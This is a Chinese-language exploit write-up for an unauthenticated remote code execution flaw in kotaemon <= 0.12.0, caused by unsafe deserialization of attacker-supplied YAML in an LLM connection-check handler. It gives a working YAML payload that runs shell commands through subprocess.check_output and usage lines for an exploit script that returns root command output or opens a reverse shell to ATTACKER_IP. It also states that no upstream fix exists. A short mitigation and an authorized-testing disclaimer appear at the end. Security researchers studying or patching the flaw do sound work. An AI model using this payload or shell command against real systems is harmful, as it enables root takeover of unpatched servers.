在 kotaemon(<= 0.12.0)中存在未认证的远程代码执行漏洞,源于 LLM 设置连接检查中的不安全反序列化。
kotaemon 的 LLM 设置 check_connection Gradio 处理器(libs/ktem/ktem/llms/ui.py)会解析攻击者提供的 YAML spec 并对其进行不安全的反序列化:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False)(theflow/utils/modules.py)通过 import_dotted_string 解析 spec 的 __type__ 键,且没有白名单,随后使用攻击者控制的 kwargs 实例化它:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
因此,__type__ 为 subprocess.check_output 的 spec 会在反序列化期间执行操作系统命令(CWE-502)。
以下两点使其成为干净的未认证 RCE:
auth=。所谓的“登录”仅切换 UI 标签页的可见性;每个已注册的事件处理器都可被公开调用。KH_FEATURE_USER_MANAGEMENT 不会限制 HTTP/队列 API。info["spec"].update(<attacker yaml>) 会完全覆盖 LLM spec,因此 payload 永远不会与真实的 LLM 提供商通信。kotaemon 官方 Docker 镜像以 root 身份运行,因此 RCE 以 root 权限落地。在撰写本文时,尚无上游修复。
提交的 YAML spec:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize 首先递归进入 return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) 执行命令。将其包装在 unittest.mock.Mock 中可以吸收基础 spec 中剩余的 kwargs(model/api_key),从而让外层调用不会失败,命令的 stdout 会回显在处理器的 Got response: ... 消息中。
仅使用标准库(Python 3)。该漏洞利用会进行两次 Gradio 调用:create_llm(预置一个命名的 LLM 条目,使 llms.info()[name] 能够解析)然后 check_connection(投递 payload)。
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
如果目标上的 create_llm / check_connection 处理器名称不同,可从 GET /config(dependencies[].api_name)中枚举它们,然后进行调整。
kotaemon <= 0.12.0(默认端口 7860)。在撰写本文时,尚无上游补丁。
deserialize 时使用 safe=True 并设置 allowed_modules 白名单,确保攻击者的 __type__ 不会进入 import_dotted_string。仅用于授权的安全测试和教育目的。请仅对您拥有或明确获准测试的系统使用。